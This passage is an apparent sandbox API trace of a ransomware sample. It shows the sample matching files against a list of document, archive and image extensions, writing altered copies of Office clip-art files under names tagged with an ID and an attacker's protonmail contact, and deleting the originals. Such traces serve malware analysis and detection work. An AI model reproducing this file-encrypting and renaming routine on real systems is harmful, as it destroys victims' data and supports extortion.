	[0202.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.152] lstrlenW (lpString=".1cd") returned 4
	[0202.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.152] lstrlenW (lpString=".jpg") returned 4
	[0202.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.152] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.152] lstrlenW (lpString="J0152560.WMF") returned 12
	[0202.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.153] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10880) returned 1
	[0202.153] CloseHandle (hObject=0x5e8) returned 1
	[0202.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220
	[0202.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.154] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.154] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0202.155] GetLastError () returned 0x0
	[0202.155] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2a80, lpOverlapped=0x0) returned 1
	[0202.157] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2a90, lpOverlapped=0x0) returned 1
	[0202.158] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.158] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.158] SetEndOfFile (hFile=0x36c) returned 1
	[0202.158] CloseHandle (hObject=0x36c) returned 1
	[0202.158] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.158] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.749] CloseHandle (hObject=0x5e8) returned 1
	[0202.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1
	[0202.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.750] lstrlenW (lpString=".doc") returned 4
	[0202.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.750] lstrlenW (lpString=".docx") returned 5
	[0202.750] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.750] lstrlenW (lpString=".pdf") returned 4
	[0202.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.750] lstrlenW (lpString=".xls") returned 4
	[0202.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.750] lstrlenW (lpString=".xlsx") returned 5
	[0202.750] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.750] lstrlenW (lpString=".ppt") returned 4
	[0202.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.750] lstrlenW (lpString=".zip") returned 4
	[0202.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.751] lstrlenW (lpString=".rar") returned 4
	[0202.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString=".bz2") returned 4
	[0202.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString=".7z") returned 3
	[0202.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.751] lstrlenW (lpString=".dbf") returned 4
	[0202.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.751] lstrlenW (lpString=".1cd") returned 4
	[0202.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.751] lstrlenW (lpString=".jpg") returned 4
	[0202.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.751] lstrlenW (lpString=".doc") returned 4
	[0202.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString=".docx") returned 5
	[0202.751] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.751] lstrlenW (lpString=".pdf") returned 4
	[0202.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString=".xls") returned 4
	[0202.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.751] lstrlenW (lpString=".xlsx") returned 5
	[0202.751] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.751] lstrlenW (lpString=".ppt") returned 4
	[0202.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.751] lstrlenW (lpString=".zip") returned 4
	[0202.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.752] lstrlenW (lpString=".rar") returned 4
	[0202.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.752] lstrlenW (lpString=".bz2") returned 4
	[0202.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.752] lstrlenW (lpString=".7z") returned 3
	[0202.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.752] lstrlenW (lpString=".dbf") returned 4
	[0202.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.752] lstrlenW (lpString=".1cd") returned 4
	[0202.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0202.752] lstrlenW (lpString=".jpg") returned 4
	[0202.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.752] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.752] lstrlenW (lpString="J0152594.WMF") returned 12
	[0202.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.753] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6340) returned 1
	[0202.753] CloseHandle (hObject=0x5e8) returned 1
	[0202.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220
	[0202.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.753] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.754] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0202.755] GetLastError () returned 0x0
	[0202.755] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x18c4, lpOverlapped=0x0) returned 1
	[0202.756] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0202.757] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.757] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.758] SetEndOfFile (hFile=0x5bc) returned 1
	[0202.758] CloseHandle (hObject=0x5bc) returned 1
	[0202.758] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.758] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.761] CloseHandle (hObject=0x5e8) returned 1
	[0202.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1
	[0202.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.763] lstrlenW (lpString=".doc") returned 4
	[0202.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString=".docx") returned 5
	[0202.763] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0202.763] lstrlenW (lpString=".pdf") returned 4
	[0202.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString=".xls") returned 4
	[0202.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.763] lstrlenW (lpString=".xlsx") returned 5
	[0202.763] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0202.763] lstrlenW (lpString=".ppt") returned 4
	[0202.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.763] lstrlenW (lpString=".zip") returned 4
	[0202.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.763] lstrlenW (lpString=".rar") returned 4
	[0202.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString=".bz2") returned 4
	[0202.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString=".7z") returned 3
	[0202.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.763] lstrlenW (lpString=".dbf") returned 4
	[0202.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.763] lstrlenW (lpString=".1cd") returned 4
	[0202.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.764] lstrlenW (lpString=".jpg") returned 4
	[0202.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.764] lstrlenW (lpString=".doc") returned 4
	[0202.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString=".docx") returned 5
	[0202.764] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0202.764] lstrlenW (lpString=".pdf") returned 4
	[0202.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString=".xls") returned 4
	[0202.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.764] lstrlenW (lpString=".xlsx") returned 5
	[0202.764] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0202.764] lstrlenW (lpString=".ppt") returned 4
	[0202.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.764] lstrlenW (lpString=".zip") returned 4
	[0202.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.764] lstrlenW (lpString=".rar") returned 4
	[0202.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString=".bz2") returned 4
	[0202.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString=".7z") returned 3
	[0202.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.764] lstrlenW (lpString=".dbf") returned 4
	[0202.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.764] lstrlenW (lpString=".1cd") returned 4
	[0202.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0202.765] lstrlenW (lpString=".jpg") returned 4
	[0202.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.765] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.765] lstrlenW (lpString="J0152600.WMF") returned 12
	[0202.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.767] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9768) returned 1
	[0202.767] CloseHandle (hObject=0x5e8) returned 1
	[0202.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220
	[0202.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.768] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.768] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0202.769] GetLastError () returned 0x0
	[0202.769] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2628, lpOverlapped=0x0) returned 1
	[0202.771] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2630, lpOverlapped=0x0) returned 1
	[0202.772] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.772] WriteFile (in: hFile=0x5bc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.772] SetEndOfFile (hFile=0x5bc) returned 1
	[0202.772] CloseHandle (hObject=0x5bc) returned 1
	[0202.772] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.772] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.776] CloseHandle (hObject=0x5e8) returned 1
	[0202.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1
	[0202.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.778] lstrlenW (lpString=".doc") returned 4
	[0202.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString=".docx") returned 5
	[0202.778] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.778] lstrlenW (lpString=".pdf") returned 4
	[0202.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString=".xls") returned 4
	[0202.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.778] lstrlenW (lpString=".xlsx") returned 5
	[0202.778] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.778] lstrlenW (lpString=".ppt") returned 4
	[0202.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.778] lstrlenW (lpString=".zip") returned 4
	[0202.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.778] lstrlenW (lpString=".rar") returned 4
	[0202.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString=".bz2") returned 4
	[0202.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString=".7z") returned 3
	[0202.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.778] lstrlenW (lpString=".dbf") returned 4
	[0202.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.778] lstrlenW (lpString=".1cd") returned 4
	[0202.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.779] lstrlenW (lpString=".jpg") returned 4
	[0202.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.779] lstrlenW (lpString=".doc") returned 4
	[0202.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.779] lstrlenW (lpString=".docx") returned 5
	[0202.779] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.779] lstrlenW (lpString=".pdf") returned 4
	[0202.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.779] lstrlenW (lpString=".xls") returned 4
	[0202.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.779] lstrlenW (lpString=".xlsx") returned 5
	[0202.779] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.779] lstrlenW (lpString=".ppt") returned 4
	[0202.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.779] lstrlenW (lpString=".zip") returned 4
	[0202.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.779] lstrlenW (lpString=".rar") returned 4
	[0202.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.779] lstrlenW (lpString=".bz2") returned 4
	[0202.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.779] lstrlenW (lpString=".7z") returned 3
	[0202.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0202.779] lstrlenW (lpString=".dbf") returned 4
	[0202.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
